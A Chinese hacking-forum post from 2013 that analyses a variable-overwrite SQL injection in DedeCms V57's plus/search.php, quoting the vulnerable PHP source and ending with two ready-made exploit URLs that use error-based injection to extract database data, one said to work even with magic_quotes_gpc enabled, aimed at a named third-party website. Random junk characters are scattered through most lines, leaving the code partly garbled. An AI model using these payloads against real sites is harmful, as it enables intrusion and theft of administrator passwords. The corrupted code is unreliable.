中国网络渗透测试联盟

标题: DedeCms V57 plus/search.php文件SQL注射 [打印本页]

作者: admin    时间: 2013-1-19 08:18
标题: DedeCms V57 plus/search.php文件SQL注射
微博上看到就分析了一下,这个漏洞不止一处地方可以被利用.其实可以无视magic_quotes_gpc = On的时候.真心不鸡肋.
: U: A8 Z% }, F. |/ K& o& R作者: c4rp3nt3r@0x50sec.org
+ P5 W% c5 M8 H+ IDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.7 n7 V: R2 N' B1 Y% D, g
& d- N8 X2 ?5 m9 C+ U8 V
黑哥说漏洞已补.怪我没有测试好.也没用这个黑站…不过这个漏洞真心不错,应该有一定利用价值.标题就不改了,补了就公开了吧.
9 K% V5 b# g5 x9 ?$ ? $ D) Y6 V. K; q9 A9 p1 f
============
! v3 _, H' o" L2 z& k - s! g1 S! C; a, z4 E

4 Z2 P& [. N1 cDedecms最新版 plus/search.php 文件存在变量覆盖漏洞,成功利用该漏洞可以获取管理员密码.
  P0 _% ~% P+ Z7 |# e. d ) `$ V& c. u7 h; \7 s! d6 [
require_once(dirname(__FILE__).”/../include/common.inc.php”);
# z" I& n$ E5 F4 s# t" {require_once(DEDEINC.”/arc.searchview.class.php”);
! x, \$ z2 a6 m' B' n, H- _# t % u# U& F7 P" t1 {
$pagesize = (isset($pagesize) && is_numeric($pagesize)) ? $pagesize : 10;
3 J* z' ^: f+ v  j& T  `7 S8 W$typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0;
9 C  `# j# x9 |* A4 p/ l$channeltype = (isset($channeltype) && is_numeric($channeltype)) ? $channeltype : 0;* h2 E/ k: s' [/ v0 k: e$ c
$kwtype = (isset($kwtype) && is_numeric($kwtype)) ? $kwtype : 1;  t1 M4 _4 k3 w' K4 E
$mid = (isset($mid) && is_numeric($mid)) ? $mid : 0;' i6 E, C2 K/ k) H; t$ R! ~8 I" @

  h! o! g1 J5 K0 jif(!isset($orderby)) $orderby=”;
  M% ]; |* w& C( helse $orderby = preg_replace(“#[^a-z]#i”, ”, $orderby);
9 e4 q0 o5 Q' ~1 }% N, L- |" S2 I; j 9 t8 r8 ^! ~7 c+ G+ _7 d. h; Z

  u1 Y! }% k3 |+ E' L2 H, }" b# mif(!isset($searchtype)) $searchtype = ‘titlekeyword’;
* I- N2 z1 Q# O# ~! @  kelse $searchtype = preg_replace(“#[^a-z]#i”, ”, $searchtype);
7 G9 c2 T1 D' [- U5 y , }5 i% q+ j2 @$ B9 i$ Z, C" C4 j
if(!isset($keyword)){6 b$ |- o% k6 }2 d7 _/ W7 e
    if(!isset($q)) $q = ”;0 x9 T3 ?2 \9 K5 K
    $keyword=$q;
9 `# N" [/ \& U3 |) W}
! M3 u8 L: f- B8 P9 q' V! O5 {
) w! m1 F+ z0 e- C1 I; h0 X$oldkeyword = $keyword = FilterSearch(stripslashes($keyword));
- ]6 Z) `4 V. o) `. s+ x/ Q/ D' g
$ D! J% ~  d' b! I//查找栏目信息
9 f& {4 o/ y9 _/ X1 Cif(empty($typeid)): w6 o% V, K1 G, l- M
{
: V# |- ^1 i* P$ w0 {    $typenameCacheFile = DEDEDATA.’/cache/typename.inc’;
7 G; B8 m. ~% C5 f    if(!file_exists($typenameCacheFile) || filemtime($typenameCacheFile) < time()-(3600*24) )
; V  I; M4 @9 K( T& m! h2 E* ^    {$ S. Y% z5 |! Y( E9 W) P
        $fp = fopen(DEDEDATA.’/cache/typename.inc’, ‘w’);
1 P' p# {  E/ O3 i6 N        fwrite($fp, “<”.”?php\r\n”);
9 B5 v, Y, E5 I6 r9 Q+ @        $dsql->SetQuery(“Select id,typename,channeltype From `#@__arctype`”);
# x2 v+ U. F8 c: O4 q  n6 M" R        $dsql->Execute();$ i6 [4 o- \& @$ B
        while($row = $dsql->GetArray())  R: R6 w5 I5 s4 D2 P8 }" B
        {
' i1 c- b- a( `- c            fwrite($fp, “\$typeArr[{$row['id']}] = ‘{$row['typename']}’;\r\n”);
; [1 X: u3 T* B5 }1 h        }& j# T8 W+ M5 c2 n  L2 K5 Q" J
        fwrite($fp, ‘?’.'>’);
& P* d; C8 [2 I$ c1 e. ?        fclose($fp);) A$ w2 S1 {; W; \8 l0 z" g
    }% N6 ^+ E8 [5 W8 x! O+ [( A
    //引入栏目缓存并看关键字是否有相关栏目内容
8 W% o- p' a# g0 d6 v1 T    require_once($typenameCacheFile);2 ~+ f" T4 {8 d+ j- `; k
//$typeArr这个数组是包含生成的临时文件 里面定义的,由于dedecms的全局变量机制,我们可以自己定义一个, Z" }) W- F9 a- ?
//
* f& o* B: e0 b, j    if(isset($typeArr) && is_array($typeArr))
4 J0 x( O1 h! \7 b' X    {
. {! c5 d" J- }1 P9 r( W        foreach($typeArr as $id=>$typename)
- C3 n: ^6 Y/ m1 |$ b# p        {  c: [+ B$ t' z! u: {
1 p% d; R4 l" W- C# h' B
            <font color=”Red”>$keywordn = str_replace($typename, ‘ ‘, $keyword);</font>  //这个地方要绕过5 f9 b, r: X1 w( }' Y5 _
            if($keyword != $keywordn)2 s1 s5 V' m+ o8 q: P
            {! Y1 _! m& f1 P1 u+ P0 A
                $keyword = $keywordn;$ [% Y' G+ t9 M
                <font color=”Red”>$typeid = $id; </font>// 这里存在变量覆盖漏洞使 $typeid = (isset($typeid) && is_numeric($typeid)) ? $typeid : 0; 这句过滤成了摆设8 c8 |' [/ h, U# s
                break;% ^8 y# @  v1 o; y
            }
, D+ u: M( D; {. n: F        }5 r& J6 [+ b& T
    }
8 X# m# {% k; b, u- E}& H: }3 i0 D  G+ a1 j8 ]
然后plus/search.php文件下面定义了一个 Search类的对象 .3 n0 F8 ^. D. u3 b/ {
在arc.searchview.class.php 文件的SearchView类的构造函数 声明了一个TypeLink类.3 t6 r1 v+ }% {: i$ a
$this->TypeLink = new TypeLink($typeid);" P: k# Y3 F4 {  y
# z$ `( O( g; P, F
TypeLink类的构造函数没有经过过滤,(程序员以为前面已经过滤过了… )直接带入了sql语句.. P/ a6 a3 E( \' Q' B2 ~

( h, P1 b& F! h1 W+ G1 jclass TypeLink; n8 m" n* E4 A! T
{3 y: M, p- n+ z6 S$ v
    var $typeDir;
3 @1 \" o2 R. `3 g+ @3 h+ V    var $dsql;. {/ D6 |- o  m  v0 J
    var $TypeID;
; u- F5 d- w" @    var $baseDir;8 O& i9 L1 i6 R! O# i& e' M1 s; v2 n
    var $modDir;/ J4 ?3 b$ K7 r1 q; |# s
    var $indexUrl;/ s5 v4 z- G  B! ^6 H& l
    var $indexName;; y" |* L; l; J( u; f7 \
    var $TypeInfos;2 m: z: `5 e: v5 l
    var $SplitSymbol;/ f' ?# \3 F1 s& W) {* x1 t' g
    var $valuePosition;
9 r7 b0 v- ]# f6 _* e) ~' z    var $valuePositionName;
6 Q1 i2 P. {' o9 ]+ e' @    var $OptionArrayList;//构造函数///////
" ~: {9 R+ `0 x, K$ U    //php5构造函数
& e$ \5 P2 y0 Z. R* M6 k3 S  r8 ~, O$ k    function __construct($typeid)
& b. O1 f# o9 W0 b    {
- U/ W- S% ^% \" k" x        $this->indexUrl = $GLOBALS['cfg_basehost'].$GLOBALS['cfg_indexurl'];
$ s9 }2 a" h" V! t4 G5 {$ }        $this->indexName = $GLOBALS['cfg_indexname'];; u- h4 n( [  c# z
        $this->baseDir = $GLOBALS['cfg_basedir'];
1 Q8 S. u) d5 Q        $this->modDir = $GLOBALS['cfg_templets_dir'];
; U! t  y5 T" d- X" I/ t; l8 r7 D. R$ [( I        $this->SplitSymbol = $GLOBALS['cfg_list_symbol'];
# I' g) a* O6 J5 e        $this->dsql = $GLOBALS['dsql'];$ z; z. V& v6 C3 K0 ], N' \! e# z
        $this->TypeID = $typeid;
8 o, F+ A# p$ B8 i. U1 Q: _4 m        $this->valuePosition = ”;! G" T, ~4 s2 F
        $this->valuePositionName = ”;
2 C7 f. v$ }8 P8 F: b1 J$ F        $this->typeDir = ”;
  n' p: e' d( z# r% L        $this->OptionArrayList = ”;
/ U5 H  C, [9 G) B# _) ^5 R
* Q; a- R) [2 Y) F9 R: {; N! w        //载入类目信息
4 d& \7 ^" A. h+ w' K4 O ; v: l# J0 o3 h4 i5 V
        <font color=”Red”>$query = “SELECT tp.*,ch.typename as4 M9 d9 m# Q' r9 O2 B
ctypename,ch.addtable,ch.issystem FROM `#@__arctype` tp left join
3 ^6 ]  ?( L$ P7 l" t) b# E`#@__channeltype` ch( A7 D8 D2 n' q1 J+ L# I6 b; v
        on ch.id=tp.channeltype  WHERE tp.id=’$typeid’ “;</font> //注射漏洞发生在这里,很明显需要magic_quotes_gpc = Off 鸡肋了吗?好可以吧至少不需要会员中心阿
* Z2 [9 j  n6 w
, E' V- X  M3 ~7 n) A        if($typeid > 0)
4 u0 q$ k8 T1 F7 q! k' ?* y        {! B6 Y* o* N$ r
            $this->TypeInfos = $this->dsql->GetOne($query);
7 g, R! }  x' ~" p' j/ b利用代码一 需要 即使magic_quotes_gpc = Off* y3 l% o0 A, M2 @0 z
4 g0 R+ I+ M3 [; }: u
www.political-security.com/plus/search.php?typeArr[2%27%20and%20@%60\%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title5 A9 ]7 ?: o7 Q

% V+ i2 S% G8 k3 Q" r9 j, B! x这只是其中一个利用代码… Search 类的构造函数再往下/ ~* t; W' J& K
( S6 P  x) I! s( b
……省略
/ _+ Q  v: h$ z. ^4 M$this->TypeID = $typeid;& h0 l# \& F) U$ l( h# I
……省略
3 y* s# M, N" U  G8 z( Oif($this->TypeID==”0″){. X# \  f! ]% p4 g: Z& B
            $this->ChannelTypeid=1;! ~. C% G# f4 y! G
        }else{
' ?0 x* J5 u% R8 @8 s7 f            $row =$this->dsql->GetOne(“SELECT channeltype FROM `#@__arctype` WHERE id={$this->TypeID}”); //这里的注入漏洞无视magic_quotes_gpc = On的存在哦亲( P( x: _( z5 J4 {2 @/ q6 e
//现在不鸡肋了吧亲…- |* A( j" }. v* k
            $this->ChannelTypeid=$row['channeltype'];
5 l* t% C: v) j  O7 c
* T1 c# R- E/ D        }& t2 R4 G9 i7 M; L6 x7 A
利用代码二,下面这个EXP 即使magic_quotes_gpc = On 也可以成功利用.
5 K5 W& R3 u4 l7 } % ~1 n, W0 ~5 W, G8 A: n
www.political-security.com /plus/search.php?typeArr[1%20or%20@%60%27%60%3D1%20and%20%28SELECT%201%20FROM%20%28select%20count%28*%29,concat%28floor%28rand%280%29*2%29,%28substring%28%28Select%20%28version%28%29%29%29,1,62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20@%60%27%60%3D0]=11&&kwtype=0&q=1111&searchtype=title
2 S4 R4 S: D5 C- S
7 f' v% Y  Q0 L& Y如果那个数据库里存在内容,就要考虑的复杂点了.我也没考虑那么周全,分析了下然后简单测试了下,也没用来黑站
( b  J( r" q1 W: c; y) `




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2